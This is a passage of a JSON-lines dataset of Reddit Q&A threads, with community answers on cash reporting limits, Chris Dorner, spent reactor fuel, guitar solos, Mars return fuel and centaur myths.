USA without declaring more than $10K in cash to US Customs.\n\nYeah, they might ask you a few questions, but if you're not doing something else that is wrong, just carrying, say $1 Million, is perfectly legal.", "Here's a link to the form, in case anyone is interested...\n\n_URL_0_\n\nAlthough the form is from the Department of the Treasury, it is to be filed with CBP (Department of Homeland Security).  Odd...  But that is not entirely unprecedented, as CBP associates with Treasury in other aspects of cross-border activities.\n\nNote that the form does not ask anything about the reason for the transport of the funds.  Interesting...\n\nI myself had a run-in with TSA at an airport security checkpoint, heading for a domestic flight.  I had a baggie with some cash in it, and the TSA guy asked me if it was \"over the limit.\"  I simply asked, \"What limit?\"  He said, \"The $10,000\".  I said, \"That's for international travel.  I'm going to Atlanta.\"  He said, \"Well, you still can't travel with more than $10K.\"\n\nI though about it for a second, but I'm not a pot-stirring kind of guy.  I just said, \"OK, dude.  It's $7000.  Count it if you want.  I wasn't trying to make a scene.  But... You really need to look at that law and know what you're talking about, because you're dead wrong about it.  I'm just saying that as a fellow citizen.  Get your facts straight.\"", "The solution is to travel with $9999 at a time.", "Because here in the land of the free, the most suspicious thing you can have is untraceable money.  \n\nActually, the answer is drugs.  Everything that's fucked up in this country is because of (our idiotic response to) drugs.  \n\nIt's pretty much written into law that if you have more than 10 grand in cash and you can't account for why, then It Was For Drugs.  The government seizes it and - get this - YOU have to prove that it's NOT drug money to get it back.  Somehow.  ", "If you were caught with 9999, would that then be ok without having to prove it was legit?", "**It is not illegal - just reportable**\n\nI once arrived into the US with over $50k in cash and traveller checks. \n\nI declared it, filled out a cash reporting form, explained why I had that much in negotiable notes and they said \"Have a great day sir.\"", "Because it's not really your money. \n\nThe government allows you to have some. But not too much cash, if you want to do big a transaction you have to go through the banks and they have to agree with who you want to trade because remember, it's not your money. \n\nBTC ftw. You can have 0.01 or 1000 and the government can't say shit about it. ", "I made the downpayment for my current house in cash. The person that bought our former house paid us a part in a check from a bank in which not me nor my wife had accounts, so it was a pain to transfer it between accounts.\n\nLong story short, we cashed it. About USD 36.000 and the cashier gave us a grocery store bag to carry them (_URL_0_) \n\nWe walked across downtown Santiago to our bank and paid the person in cash. When we started putting the cash in her desk she stood up and went \"whoa! whoa! not here!\". And led us to a more private office. She must have thought we were drug dealers or something.\n\n", "I can't' believe no one said anything about currency exchange, at least when crossing borders.\n\nEvery time the currency rates fluctuates, and you're able to profit off it....it's complicated. I'll let someone else explain.", "And then it was never explained in five. ", "as a finance guy, Im just going to go ahead and say that there is no possible way that 10k in cash 20yrs ago is worth 16k today", "It is not illegal.  But transactions (like a withdrawal or deposit) over 10k have to reported.   For international travel, carrying that amount or more needs to be reported as well.\n\nAnd if you think that doing a transaction for 9999 or close won't raise eyebrows, it will.   Certain businesses are expected to report suspicious transactions even if they're below limits (e.g. suspicious activity report).   You won't know about b/c they're not supposed to tell you.  Changing transactions to purposely keep you under limits is known as \"structuring\".   \n\nIt all goes back to money laundering and looking for suspicious activity related to crimes.  Bank Secrecy Act (BSA), IRS laws and the Patriot act come into play here.", "I bought my Infiniti in cash last year. The bank would only allow me 15k withdrawals per location so I had to make 2 stops. The clerk didn't have a bank bag but he'd had chipotle for lunch and still had his brown paper sack left over, I just used that. I had the strongest inclination to stop into a chipotle and slide 22k across the counter and quietly whisper \"start making burritos...\"\n", "It isn't if you use bitcoin ;) You could literally walk around with a million dollars in your brain, there is nothing a government can do.", "Because you have no good reason to carry $10,000 in cash, unless you've specifically got it in cash for a good reason. This reason is often tax evasion. If you money goes into the bank, the tax people know about it. If your money never gets virtualised (digitised? whatever, put into the bank), then the tax people never know about it.\n\nIts not really the cash, its the reasons for having that much cash."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.fincen.gov/whatsnew/pdf/CTRPamphletBW.pdf"], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Asset_forfeiture#United_States"], ["http://www.maptechnica.com/us-city-boundary-map/city/Patton%20Village/state/TX/cityid/4856156"], ["http://www.cnn.com/2007/US/09/27/immigrant.money/"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.economist.com/news/united-states/21588915-how-prosecutors-seize-assets-innocent-grabbing-hand-law"], [], [], [], [], ["http://www.fincen.gov/forms/files/fin105_cmir.pdf"], [], [], [], [], [], [], ["http://www.cbsa-asfc.gc.ca/publications/pub/bsf5052-eng.html"], [], ["http://en.wikipedia.org/wiki/Currency_transaction_report", "http://en.wikipedia.org/wiki/Panopticon", "http://en.wikipedia.org/wiki/Bank_Secrecy_Act"], [], [], [], [], [], [], [], [], ["http://finance.zacks.com/federal-banking-rules-withdrawing-large-sums-cash-1696.html"], [], [], [], [], [], [], [], [], [], ["https://help.cbp.gov/app/answers/detail/a_id/195/~/currency-%2F-monetary-instruments---amount-that-can-be-brought-into-or-leave-the"], [], [], ["http://www.austrac.gov.au/reporting_physical_currency.html"], [], [], [], [], ["http://www.fincen.gov/forms/files/fin105_cmir.pdf"], [], [], [], [], [], ["https://twitter.com/amenadiel/status/304252690140123136/photo/1"], [], [], [], [], [], [], []]}
{"q_id": "18exh8", "title": "who is chris dorner and what has he done?", "selftext": "I see several live news feeds right now about his being in a cabin and in the shootout with police. Why is this such a big deal i hear there is a lot more to the backstory can someone explain?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/18exh8/eli5_who_is_chris_dorner_and_what_has_he_done/", "answers": {"a_id": ["c8e74h1", "c8e9aog", "c8eevco"], "score": [3, 6, 2], "text": ["He's an ex-cop who ended up shooting (I believe) at least two officers and fleeing. Two civilians got shot by police in an attempt to stop him (although from reports it seems they got shot for no good reason i.e. their car didn't match the description, the cops didn't try to stop them before opening fire, etc.) So he fleed, they weren't able to find him. I just heard on the radio they think they found him in a cabin and they threw in a smoke grenade and a fire started... waiting to hear an update. \n\nYou should read his \"manifesto\" if you get a chance, it will tell you a lot more about his mindset and it is way too long to paraphrase.", "Ex-military who was cop for very short time. Was terminated from lapd a few years back and felt it was unfair. Wrote a \"manifesto\" basically saying people would pay for the wrongs done to him and he would bring war to the police. Killed 2 civilians and 2 non-lapd cops.  Manhunt ensued and he now appears to be dead. Details on that still outstanding. Some Redditors root for him because they feel the lapd is unbelievably corrupt and brought this on themselves.", "If he wouldn't have killed innocent people he may have been somewhat of a folk hero/martyr. Instead he wanted to hunt down the families of people that wronged him and so on"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "9qnjlk", "title": "If fuel is not replaced in a nuclear reactor, what happens to the power output over time?", "selftext": "Assuming the cooling pumps continue running and the fuel rods are all just allowed to reach a point of being \"spent\", what happens if they aren't replaced? My understanding is that spent fuel is more radioactive, but does it produce a different amount of power than newer fuel rods? I'd imagine that spent means the power output is slowly tapering off but when I read that the fuel is more radioactive, that also seems to suggest that it may put out more power.\n\nEDIT: Thank you everyone for the answers, this was well over what I expected.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9qnjlk/if_fuel_is_not_replaced_in_a_nuclear_reactor_what/", "answers": {"a_id": ["e8aq5wy", "e8aqg2e", "e8arl72", "e8atseu", "e8aur6u", "e8av9de", "e8b08ec", "e8b0gko", "e8b1w3f", "e8b238f", "e8b5k89", "e8b655r", "e8bproz"], "score": [437, 28, 11, 2, 25, 9, 2, 2, 3, 3, 2, 2, 2], "text": ["Without refueling, the power out put will eventually begin to decline.\n\nMost nuclear plants are on a 18 month or 24 month refuel cycle. The difference being the enrichment (concentration) of the Uranium-235 in the fuel assemblies, where the fuel assemblies in a 24 month core is at a higher enrichment than those in the 18 month core. \n\nAs the Uranium-235 is depleted, the reactor power would decrease. This probably leads to another question about the characteristics at the beginning of the cycle. The fuel is configured to ensure constant, 100 percent reactor power over the entire cycle with few exceptions.\n\nIn Pressurized Water Reactors (PWRs), the amount of criticality is controlled using boron that absorbed neutrons and controls the amount of fission going on. As the fuel depletes, boron is removed to allow more free neutrons to interact with the fuel. \n\nHope this helps. \n\nEdit: I missed a key part of your question. Yes, the spent fuel is radioactive, however the energy (heat) from that radiation is minimal compared to the amount of energy produced from the fission of Uranium-235. \n\nEdit 2: Remember this is a high level discussion, a full blown discussion of reactor theory would be a little more in depth and lengthy. \n\nEdit 3: Anything nuclear is exciting to talk about, but over sensationalizing it hurts the public perception. It\u2019s important to discuss facts and not sensationalize it, but to understand how critical it is to ensure safety is the over riding principle. ", "So...there are differing types of radiation and reactors that control slightly differently. I will discuss light water PWR\u2019s because that\u2019s what I\u2019m familiar with. \n\nMost of the power comes from fission, specifically breaking the binding energy in the nucleus of U-235 atoms, although later in core life, PU-240 (which is a neutron capture byproduct) can contribute to the fission population with some significance. Decay products produce heat, and build in through neutron capture. At peak, decay products produce around 7% of total thermal power. After 10 minutes of shutdown, it\u2019s less than 1% due to many of the products having very short half lives. \n\nControl rods are only a portion of the system. PWRs also use a chemical shim, typically boric acid, in some capacity in order to allow the control rods to remain within their bands, maintaining proper reactivity coefficients, and maintain shutdown margin. At the end of core life, power begins to taper off, and this is referred to as \u201ccoast down\u201d in the industry. Only around 1/3 of the fuel is actually replaced during refueling. There is a point where coasting down can cause some of the fuel characteristics of the remaining fuel to be undesirable, or unanalyzed which would impact how the core was refueled in future cycles.   Because of these parameters (as well as many others) the reactors are shut down for refueling with the fuel in a safe, predictable, and analyzed condition. Things that have to be considered in these analyses are how long the fuel has been used, how much fuel is left, its current, and future location within the core or spent fuel systems, and flux distribution/power history of the core. \n\nIn theoretical land, power would continue to taper off until the reactor was subcritical. And would then only produce decay heat. ", "For a water-cooled reactor, power isn't determined by the reactor itself, but rather the steam demand for the turbines. If more thermal energy is extracted from the coolant, its temperature drops, which means it becomes more dense, which means it has a larger moderating effect, leading to a rise in thermal neutron fission events. Coolant temperature would rise and drop due to power transients, and would have to be corrected with movement of the control rods.\n\nThe radioactivity of the fuel has nothing to do with reactor power. Any fission product radioactive enough to put out a significant amount of heat decays too rapidly to do so for very long; the vast majority of heat in an operating reactor comes from fission.\n\nIf you were to run a nuclear reactor with increasingly spent fuel, you would eventually reach a point where controllable neutron absorbers (whether control rods or liquid control poisons) would not be able to account for the drop in temperature due to steam demand (control rods would be nearly all the way out). You could continue to deliver the same level of power with a drop in temperature, but this could lead to other undesirable effects.", "To answer part of your question, nuclear power relies on a chain reaction of fission reactions. That is a neutron comes along and causes an atom to split, and this split releases multiple neutrons that can then do the same. Only certain atoms can be split by these neutrons, so as fuel is \"spent\" there become less and less of these, which reduces power. The radioactivity you're referring to that goes up is the radioactivity of the fuel when not in operation. This radioactivity is caused by byproducts of the fission that are not fully stable and slowly decay over time. The more atoms that you split with neutrons the more radioactive byproducts you get, which is why the radioactivity of spent fuel that is not in operation is higher than that of fresh fuel that is not in operation.  However they do not release as much energy as the fissile atoms do, and they don't create chain reactions the same way.", "Reactor Operator here:\n\nImagine if you're taking a hot shower for a really long time. The water is exactly X degrees. \nIt will eventually start to get cold as water runs out. So you turn the faucet up to try and keep the temperature at X degrees, but at some point it runs out of enough hot water to keep the temperature at X degrees, even though there's still warm water. This is what happens with the fuel in a nuclear reactor over many months (depending on the design.)", "Initially it\u2019s just power dropping. When you run out of hot excess reactivity and you\u2019ve done everything to keep power up, reactivity slowly drops. For a BWR you can expect to see up to 0.5% power loss per day, and I\u2019m told pwrs are up to a 1% loss per day. As power drops, other physical reactivity feedback mechanisms keep the reactor in a critical condition at lower power levels. For example, loss of power in a BWR means less steam production. Less steam in the core reduces core dP, helping to raise effective core flow and prevent power from dropping rapidly. \n\nEventually you run into issues for your coastdown. The cycle analysis only assumes a certain number of coastdown days, so you would need to keep re-analyzing core safety and response to operate beyond that point. Additionally you have fuel based limits which you will run into for heat generation, lifetime in core, etc. \n\nIf you continue to do nothing you\u2019ll end up with unanalyzed flux conditions as power continues to drop, eventually reaching a point where power production is unsatisfactory and the core starts to be unable to maintain required temperatures and pressures. \n\nYour comment about radiation seems to confuse fission and rad levels. Fission is what splits atoms and produces power. The radiation level the fuel puts out is a RESULT of fission, not the cause of fission. Fresh nuclear fuel is safe to hold with no shielding, just wearing some gloves. Once you irradiate it in a reactor core it quickly builds up enough fission products (waste products) to become lethally radioactive. The radiation only produces a small amount of the reactor\u2019s heat. The majority of the heat (93% typically) is produced by fission itself and the short term decay effects from fission. \n\nOlder fuel simply has less fissionable material inside of it. Furthermore it also has more waste products which act as poisons. When you pull a typical BWR fuel assembly out, the spent fuel is about 0.7% to 0.8% enriched (around natural uranium levels). New fuel can be as high as 5% enriched. So you absolutely have to swap the fuel out to keep the reactor operating at power. You also have the fact that fuel is only qualified for up to 10 years in a core, and only for a certain amount of power generation. Additionally the fuel rods degrade over time and have much less margin to their linear heat generation limits that you absolutely have to swap them out. \n\nWe try to swap as few bundles as possible during a refuel, because spent fuel still breeds small amounts of plutonium to burn, and because the oldest fuel (in low leakage core designs) is typically placed on the core outer ring and acts as a neutron reflector. You save a lot of money by swapping less bundles. Again this has more power limits and can cause higher fast neutron fractions and positive moderator temperature coefficients. \n\nEdit: see this picture for an end of life BWR core that only has 1 control rod left to remove. It\u2019s a bit older. But it checks out : )\n\nI actually was the senior reactor operator on shift for this. ", "Something I didn't see already answered is the question about the higher radioactivity in the spent fuel. From the Wikipedia entry on [nuclear fusion products](_URL_0_):\n\n > Typically, a large\u00a0nucleus\u00a0like that of\u00a0uranium\u00a0fissions by splitting into two smaller nuclei, along with a few\u00a0neutrons, the release of heat energy (kinetic energy\u00a0of the nuclei), and\u00a0gamma rays.\n\nThe *only* energy used from a reactor for electricity production is the heat. U235 puts out a **lot** of heat when it splits. The resulting products may be more radioactive, but when their nuclei split the heat produced is negligible compared to u235.\n\nAlso u235 is just itching to decay and it doesn't take much for fission to occur.  Throw a neutron at it. Bam. Fission. 2 more neurons and 2 new nuclei. Those 2 neutrons can go on to cause more fission unless blocked. This makes the process controllable. The resulting products aren't very controllable because they take more energy for fission to occur but not they're not contributing significantly to the useful heat either. That's why it's waste.\n\n", "This thread got me thinking: what if you took spent rods and put them in a separate chamber that used the latent heat to build up steam, like a kind of pulse steam turbine? How much power could you get out of that?", "A lot of posters are missing a crucial detail in end of life reactor operations. Xenon buildup. Xenon, a fission product poison, is the bane of critical operations and for any transients, will have a near immediate effect on temperature and power. End of life is mainly determined by how much Xenon gas your core can handle (it doesn't go away) until xenon poisoning overcomes the power generated via fission. ", "Reactor cores are designed such that you can safely achieve 100% power for the life of the core.  You will reach design thermal limits (i.e. the risk of the fuel casing melting due to inadequate heat transfer out of the fuel and into the water) and then you would have to de-rate the max power or refuel - this would occur long before the core was incapable of creating a self sustaining (critical) reaction at nameplate power.  In other words, you would have to keep reducing your max power or you would damage the fuel and release contamination into the cooling loops.   If you had no thermal limits you would theoretically either reach a point where a critical reaction was no longer possible and on the way down you would probably see power fluctuations around the core as the reaction moved to areas with more unspent fuel (which would increase the likelihood of fuel damage). \n\n & #x200B;\n\nThere is a substantial amount of U-235 remaining when a core is removed (this is why France reprocesses spent fuel).\n\n & #x200B;\n\nAs others have mentioned the radioactive decay of fission products is negligible compared to a fission reaction.", "One ton of uranium in a reactor puts off 30 million watts of thermal power, while spent fuel puts off just over 1,000 watts (about 0.05% of the power). _URL_0_\n\nIt\u2019s true that fuel coming out of a reactor is much hotter than fuel before it\u2019s been in one. It\u2019s the same as with a burnt log pulled out of a fire versus a log before going in- the burnt log is hotter, but much of it\u2019s useful energy has been used up. More heat, but less useful energy remaining. In the same way, spent fuel is very radioactive, but is partially used up, and much less active that it was in the reactor when fission was happening. \n\nInside a reactor, you have 200 MeV of power given off each time a fission event occurs. When the fuel is pulled out and the conditions for fission cease, decay products like Cs-137 have been created and are still decaying, but they are giving off something like half an MeV per decay. ", "The fuel is stored in pellets that have a coating on them that keep the fission products from escaping. Things from cesium to iodine to xenon gas. These fission products have lower density and also outnumber the fission inputs (we are splitting atoms here). As such, as the fuel gets spent, the pressure in the fuel pellets increases and it develops internal stress. The fuel pellet must be decommissioned before the internal stress causes it to crack, releasing uncontained radioactivity into the reactor (and more importantly into the cooling loops). This is ONE of the limiting factor on the file cycle of reactor fuel, but often a critical one. Others are corrosion, fuel depletion for low enrichment fuel depletion, radiation damage to cladding, reaction poisoning from reaction products... but my understanding is its one of the most limiting.\n\n & #x200B;\n\nAll of this falls under the general turn burnup, which is how much energy is extracted per gram of fuel, or % of potential. I believe numbers  < 10% are typical, and 20% is record breaking.\n\n[_URL_0_](_URL_0_)\n\nFYI because burnup is so low, even slightly enriched fuel can basically be reused after being separated, and repackaged to relieve stress and contaminants. This is why fuel reprocessing is so critical to reducing highly radioactive waste build up, the stuff is basically still good to go after processing. \n\n & #x200B;\n\n & #x200B;\n\n & #x200B;", "Second post:\n\n_URL_1_\n\nThis is a permalink I made with an image from our plant process computer so you can watch the power drop and burnup mechanics. \n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["https://en.m.wikipedia.org/wiki/Nuclear_fission_product"], [], [], [], ["https://inis.iaea.org/collection/NCLCollectionStore/_Public/29/015/29015601.pdf"], ["https://en.wikipedia.org/wiki/Burnup"], ["http://imgur.com/JXXuvRI", "https://www.reddit.com/r/NuclearPower/comments/4cktdh/graph_of_power_in_an_end_of_life_reactor_core/?utm_content=comments&amp;utm_medium=front&amp;utm_source=reddit&amp;utm_name=NuclearPower"]]}
{"q_id": "3gmubu", "title": "why are solo in modern popular music so rare vs 30-40 years ago?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3gmubu/eli5_why_are_solo_in_modern_popular_music_so_rare/", "answers": {"a_id": ["ctzkd1c", "ctzknbk", "ctzlng7", "ctzmzlw", "ctzn1d2", "ctzo12s", "ctzow85", "ctzpknf", "ctzrbue", "ctzuqia"], "score": [17, 84, 7, 50, 6, 23, 3, 3, 2, 4], "text": ["Some artists still do solos in their concert tours. I went to a Maroon 5 concert recently and they still do guitar solos in just about every song.", "Non-musicians don't give a shit about solos, they just think they're boring because they don't know how difficult it is for the musician to do what they're doing.\n\n Back in the day it was all about \"what band has the best guitarist?\" \"What band has the best drummer?\" Now it's all about \"What band has the catchiest hook?\" \"What lyrics get me the most pumped up to go out drinking with my friends?\"\n\nAlso most popular music back in the day was electric guitar driven, today it is mostly digital synthesizer driven, so you're not really going to hear a MIDI solo. You still hear solos in country and in mainstream rock, but they're usually shorter because their main goals are to be catchy, not to be musically complex. You can also hear solos all the time in metal, but metal doesn't necessarily have mainstream popularity. ", "The majority of modern music is designed to get stuck in your head, and in order to maximize profit you need to get your song stuck in as many heads as possible. The most widely available way to get people to hear your song is through the radio,  as the listener doesn't choose what song plays next,  new songs are really introduced to the masses. Part of playing music on the radio means that songs have to meet certain criteria,  including length. Songs with solos are generally much longer than songs without solos,  so the number of songs that can be listened to in a given time increases.\n\nMany songs in the early 2000s had \"radio edit\" tags which were specific versions of a song that were shortened or changed to be more radio friendly,  while the original version remained available on the album. Sadly it isn't very practical to make multiple versions of the same song if the longer version doesn't get the appreciation it should.\n\nMost pop musicians are only performers,  not artists. The person getting credit for the song isn't the person who created it and generally provides little to no musical input, and these songs are pretty much made to squeeze money out of teenagers. Cash grabs that arent really artistic at all. \nThere are lots of bands that don't cut the interesting stuff because they aren't necessarily trying to make money,  they make music because it is what they like to do. Unfortunately their better songs don't quite fit in on the radio so many ears miss out on that super awesome musically genius solo.\n\nIf you want to hear solos,  go see a group live. You'll also find it who your favorite bands are and who you respect musically based on live performance.", "A few reasons:\n\n1. \"Pop\" and \"Rock\" aren't really synonymous these days in the way that they were in the 60s-80s. Not all popular music traditions go in for the \"solo\", and the ones that are trendy right now (based more on dance music and rap) don't happen to employ that trope.\n\n2. A lot of popular music nowadays is in reaction to the popularity of rock music in the 60s-90s. It's like a swinging pendulum. These days heavy guitar solos come off as masturbatory, or narcissistic, or just plain not that interesting. They're also closely associated with [\"rockism\"](_URL_0_), and a lot of people -- even people playing in the rock idiom -- don't want to be associated with that approach.\n\nSo, yeah, probably in another 30 years the guitar solo will seem fresh and exciting again, and people will go back to doing it.\n\nCompare this to the current vogue for synths and electronic elements in popular music where, even a decade ago, all that would have been considered \"inauthentic\" and played out due to the prevalence of that approach to production in 80s and 90s pop. Everybody's reacting to what came before, trying to show that they are new and fresh and not like those old fogeys your grandparents used to listen to back in 2010.", "Lots of le music defeners in here, but I really think the answer is not \"music is only about money now!!!1!! compared to michael jackson and queen who only did it for the artistry\" and simply a matter of styles changing. Music has shifted to more electronic MIDI and synthesizers music, but unlike the 80s where there are really corny synth solos, people (me included) just don't want to hear an extended solo on such an instrument. \n\nI'm sure it'll all come back around, like everything to do with fashion. Music is becoming more and more 80s influenced at the moment, and we'll see where it heads.", "If we're talking about guitar solos and rock music, blame the decadence of 80's hair-metal bands. The over-the-top and gratuitous solos became so common that the solo itself became passe. \n\nThis created the environment that allowed bands like to Nirvana, Sonic Youth, Pearl Jam, etc to become successful. Ironically Pearl Jam and Nirvana both have some pretty great and now-classic solos (see Smells like Teen Spirit, Alive) but at the time, a more laid-back, bluesy guitar approach was not in vogue. That worked for a while, but then bands like Limp Bizkit and Korn came along and ruined the whole \"songwriting above technique\" thing for everyone, by having neither and making money. The inevitable backlash from those bands being popular created the scene we have today, which is actually a lot closer to the attitude of the 80s and the 90s, especially in the metal scene (for example a band like Animals as leaders would've been laughed off stage in 1994).\n\nI guess if you're talking about Pop music like Katy Perry or Lady Gaga, musicianship really has nothing to do with it, so looking for it there is a fool's errand. Of course there's been the odd pop song in the last 30 years with a great, well-known solo, for example Michael Jackson's \"Beat It\", but those are the exception, not the rule. \n\nIf we're saying all music in general has less solos, I would tend to agree with you. You can chalk that up to evolving tastes, as far as genres go. Back in the 1940s all people listened to was jazz or R-n-B, which obviously by definition leaves a lot of room open for improvisation. If you look at the Billboard hot 100 today, it's mostly pop artists or hip/hop stuff. Those genres aren't really known for great instrumentation, it all about the melody and/or the lyrics. \n\nBut honestly, I encourage the OP to get out more. There's tons of great bands that can actually play instruments really well and I don't mean just rock music. There's been plenty of jazz, blues, classical, etc artists who are absolute monsters when it comes to soloing. \n\nTLDR version: Listen to different music if you want to hear solos. ", "Because in the 60s-90s, pop music and rock music were often synonymous and now they are not. If you listen to modern rock, there are plenty of solos to be found.", "Latest by the mid-80's solos became synonymous with \"cock-rock\" aka \"stadium-rock\". Solos were considered overly flashy, show-offy and in-authentic. \nIn my personal experience it also has something to do with the democratization of bands that started to happen especially in the American post-punk scene of the mid-80s. People started getting interested in all members of a band and the music as a whole. \n(Well that whole thing obviously didn't last too long either...)", "They can't actually play their instruments. I mean... The guys in Rush and Kansas and Boston.... Those guys could play and the majority of people appreciated that talent. Nowadays, it seems people listen with their eyes more than their ears. ", "SUPER long but this saga extends back to before my parents were born:\n\nAs we know them, guitar solos started with blues guitarists of the 30s and 40s (see Robert Johnson, Howlin' Wolf, Muddy Waters). Due to its roots in working songs and spirituals, an essential part of blues music is call and response. In the 50s, the electric guitar became the preferred instrument to play the \"response\" portion, along with harmonica or piano. Early rock and roll had shorter solos more akin to country music, and many early rock songs had saxophone solos instead (see Chuck Berry, Little Richard).\nIn the 1960s, white blues musicians took their favorite blues standards and played them louder and faster than their heroes recorded them. They took extended solo breaks in addition to call and response (see Cream, Hendrix, early Zeppelin). As these groups moved away from playing blues standards and writing their own compositions, they were influenced by other kinds of music that was popular at the time (folk, country, jazz), but the guitar solos remained. Guitarists saw how fast guys like Jimmy Page, Jimi Hendrix, and Johnny Winter could play and tried to match it. \nEven punk rock guitarists played solos more akin to early rock and roll (see Sex Pistols, X) or longer ones (see Television).\n\nIn the 80s, fast, technical guitar solos became the norm thanks to Eddie Van Halen's work in the late 70s. I believe this is where the tipping point occurred. Guys like Yngwie Malmsteen took it to a level I believe \"broke\" the guitar solo. Soon, every guitarist in every hair metal or thrash band could play FAST. Where guitarists before them were playing off the cuff, expressive solos, the shredders of the 80s were sitting in their rooms practicing scales. There's a point when you realize that someone will ALWAYS be better than you and your goals change. \n\nGuitar solos (and instrumental virtuosity in general) fell out of the public's favor. Like someone said, when you go to a Maroon 5 show, or a Brad Paisley show, those guys are playing lengthy guitar solos live. That's the only place they can get away with it. People already bought their ticket and decided they are fans. If you notice, opening acts don't do this (good ones at least).\n\nOf course guitar solos are still prevalent in heavy metal and they always will be. \n\nTL:DR, everybody started playing too fast. It takes too much practice, most guitarists would rather be fucking their girlfriend between shows than practicing scales.  \n\nVirtuosity isn't cool. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.wikipedia.org/wiki/Rockism"], [], [], [], [], [], []]}
{"q_id": "2mc60t", "title": "Considering how much fuel it takes to reach escape velocity, and how heavy fuel is, how the heck would a manned mission to Mars be able to bring enough fuel to get back home?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2mc60t/considering_how_much_fuel_it_takes_to_reach/", "answers": {"a_id": ["cm2uzm1", "cm2vzwg", "cm33a7p"], "score": [20, 21, 2], "text": ["I think the trick is not having to carry all the fuel around everywhere you go. The humans could do something like what was done with the moon landings, where a module full of fuel would orbit Mars and just descend a lander to the surface. That lander would have enough fuel to land, take off, and rendezvous with the orbiting module. Then, the people could just depart back to Earth.\n\nThere can also be several launches from Earth that deliver fuel to an orbiting spacecraft that will then proceed to Mars.", "It  may  be  possible to  collect  and  refine  the  atmosphere of Mars to produce fuel,  resulting in large  savings. \n\nRobert Zubrin and the \"Mars Direct\" group  have  developed a detailed  proposal for a mission along these lines. \n\nWe  start  by  sending  an  automated  chemical processing plant  to Mars -\n\n > The first flight ...  would bring an unmanned Earth Return Vehicle to Mars after a 6-month cruise phase, with a supply of hydrogen, a chemical plant and a small nuclear reactor. \n\n > Once there, a series of chemical reactions (the Sabatier reaction coupled with electrolysis) would be used to combine a small amount of hydrogen (8 tons) carried by the Earth Return Vehicle with the carbon dioxide of the Martian atmosphere to create up to 112 tonnes of methane and oxygen. \n\n > This relatively simple chemical-engineering procedure was utilized regularly in the 19th and 20th centuries, and **would ensure that only 7% of the return propellant would need to be carried to the surface of Mars.**  [The rest would be manufactured there.]\n\n > 96 tonnes of methane and oxygen would be needed to send the Earth Return Vehicle on a trajectory back home at the conclusion of the surface stay ...\n\n > The process of generating fuel is expected to require approximately ten months to complete.\n\n > Some 26 months after the Earth Return Vehicle is originally launched from Earth, a second vehicle, the \"Mars Habitat Unit\", would be launched on a 6-month long low-energy transfer trajectory to Mars, and would carry a crew of four astronauts (the minimum number required so that the team can be split in two without leaving anyone alone). \n\n > The Habitat Unit would not be launched until the automated factory aboard the ERV had signaled the successful production of chemicals required for operation on the planet and the return trip to Earth.   [  < --  We  don't  even  launch the crew until the  automated  processing plant on Mars  has  manufactured the  fuel  for their  return  mission.] \n\n_URL_2_  \n\n_URL_1_ \n\n_URL_0_\n\nThe Mars Direct folks  talk a good  game,  but they've been  talking it since  1990  and  nobody has  taken them  up  on it yet.  \n\nOn the other hand, I haven't heard  of  any  serious  objections  to this plan.  ", "The best Mars mission architectures are to *not* bring fuel for returning back to Earth. That's because it's possible to use the Martian atmosphere to manufacture LOX and Methane, which can be used as a quite excellent rocket propellant, provided you have a source of Hydrogen (you can produce 16x the mass of rocket fuel than the mass of Hydrogen by using the Martian atmosphere in this way). This may seem ridiculously optimistic but in reality it is a fairly straightforward thing to do and requires very modest equipment to do. And over a longer term once a Martian colony has proceeded past the very earliest stages it will be possible to mine subsurface water ice on Mars (which exists in plentiful quantities) which can then be processed into a Hydrogen feedstock for Methane manufacturing.\n\nThis is precisely why SpaceX's next generation rockets designed to facilitate Martian colonization will use LOX/Methane propulsion. Because they can be refueled on Mars, which massively eases the burden of traveling to/from Mars.\n\nHere's a good video on the subject (Zubrin's original Mars Direct proposal): _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Robert_Zubrin", "http://en.wikipedia.org/wiki/In_situ_resource_utilization#Mars", "http://en.wikipedia.org/wiki/Mars_Direct#Mission_scenario"], ["https://www.youtube.com/watch?v=Mm34Muv6Lsg"]]}
{"q_id": "d5y7j6", "title": "Popular history states that the myth of the centaur arose when early Greeks first encountered warriors on horseback. Did any similar legends arise after the first Native American contact with European cavalry? How was the arrival of horses represented in Native American legends?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/d5y7j6/popular_history_states_that_the_myth_of_the/", "answers": {"a_id": ["f0p6cqk", "f0pl5jt"], "score": [55, 10], "text": ["I disagree with the premise. Although I have also seen the assumption put forward that the centaur was inspired by early Greeks encountering people on horseback, I have never seen that idea proven. It really amounts to nothing more than speculation.\n\nEuropeans had a widespread tradition about the ability of people to turn into animals, animals to turn into people, and of the existence of hybrids - combinations of animal and people. We would not suggest that beliefs in merfolk were inspired by the first encounter of people swimming in the ocean. Similarly, the many variations of human-bodied, animal-headed entities in Egyptian art was not the result of various combinations or misconceptions in reality.\n\nIt is a common belief (with no real basis in reality) that \"all legends are grounded on something.\" This belief, which often manifests in this sub, has inspired all sorts of searches for the \"truth behind the legend.\" Belief systems do not require something real upon which to grow. Myths and legends more often that not simply \"are,\" without any hidden basis lurking in the distant past.\n\nThat said, I'll leave it to someone else to address Native American oral tradition.", "_URL_0_\n\nHopefully, this answer from the FAQ should handle most of your question!\n\nEdit: about the Native Americans, u/itsallfolkore covered the Greeks, I think."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.reddit.com/r/AskHistorians/comments/268f4u/comment/chpklxk"]]}
